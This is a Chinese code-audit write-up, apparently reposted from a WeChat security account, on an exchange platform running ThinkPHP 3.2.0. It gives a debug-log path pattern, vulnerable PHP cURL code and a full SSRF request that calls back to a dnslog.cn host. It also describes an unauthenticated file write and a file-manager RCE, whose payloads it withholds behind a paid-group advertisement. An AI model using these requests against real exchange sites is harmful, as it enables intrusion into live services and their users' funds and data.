0x00 前言
Fofa:请见文末
0x01 前台Log日志泄露漏洞
一般来说,Thinkphp 5,6版本的框架都会将网站目录放在/public,不过这个交易所tp版本为3.2.0,所以能直接访问到/Application目录,且开启了Debug,导致了经典的Thinkphp 日志泄露.
不过也就泄露绝对路径啥的,登录密码啥的不太可能
Payload:
/Application/Runtime/Logs/年_月_日.log //24_04_23.log 这种格式
0x02 前台SSRF漏洞
在 /Home/Controller/DataController.class.php 控制器中,http_request方法存在curl_exec函数,且URI参数可控,导致SSRF漏洞.
public function http_request($URI, $isHearder = false, $post = false)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $URI);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//curl_setopt($ch, CURLOPT_TIMEOUT, 2); //单位 秒,也可以使用
curl_setopt($ch, CURLOPT_NOSIGNAL, 1); //注意,毫秒超时一定要设置这个
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 1000); //超时毫秒,cURL 7.16.2中被加入。从PHP 5.2.3起可使用
curl_setopt($ch, CURLOPT_HEADER, $isHearder);
if($isHearder){
curl_setopt($ch, CURLOPT_HTTPHEADER, $isHearder);
}
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36');
curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__) . "/tmp.cookie");
curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__) . "/tmp.cookie");
if (strpos($URI, 'https') === 0) {
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
}
if ($post) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
可惜的是return返回的页面没有回显,echo就能正常返回,不然就是任意文件读取.
Payload:
POST /Home/login/https_request HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 20
Content-Type: application/x-www-form-urlencoded
Cookie: Hm_lvt_fc57361ae07d02ff0e22fc7acd0b2553=1711823704,1711863189; __51vcke__Jn7D2bUCe2U5jXJk=2a2f79b5-b57f-565a-a544-da2a60149048; __51vuft__Jn7D2bUCe2U5jXJk=1713527328654; __51uvsct__Jn7D2bUCe2U5jXJk=3; ECS[visit_times]=1; Hm_lvt_8513c8e18c0a7dc33633b4e6b1880ecb=1713617487; uid=231027; token=6d72a5d7-1589-4ffc-bd7f-394fecb38b54; filemanager=7ai27erj8ptith9vjjgokkk4g6; username=123456; think_language=zh-cn; PHPSESSID=ojqi6uussffcempqavp555usn4
Host: 127.0.0.1
Origin: http://127.0.0.1
Referer: http://127.0.0.1/Home/YBpay/curlPost
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
url=xxx.dnslog.cn
0x03 前台任意文件写入漏洞
在 /Home/Controller/xxxxxController.class.php 控制器中,有个很明显的file_put_contents操作,结合代码上面的注释,就是一个将Base64转为图片并上传的方法,且未有任何过滤和鉴权,导致漏洞产生.
Payload:
请见文末!
生成的文件以 time() 转时间戳命名,直接上传,页面返回空白,所以上传的文件地址需要找一下.
文件地址也挺好找,直接将上传附加头里的Data 在线转一下时间戳即可(以北京时间为标准,下图小时有些不对,但分和秒是对的)
0x04 某文件管理器RCE
Payload:
请见文末!
0x05 纷传圈子
由于篇幅限制,欲见完整文章和源码请加入纷传圈子,浏览最新文章即可,目前仅需55元 圈友权益:
公众号星悦安全内部小密圈,我们会实时推送最新漏洞,加入圈子可以直接拿上百套源码,SRC挖掘,Edu挖掘,渗透测试,代码审计,保证一星期至少两更,加入即永久,之后会提供Fofa高级会员, 价格根据人数和资源数量会不断上涨,早加入价格低还不用补充费用,机会仅此一次时间名额有限抓紧机会加入
原文始发于微信公众号(星悦安全):某多语言3合一港交易所审计(未公开漏洞)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论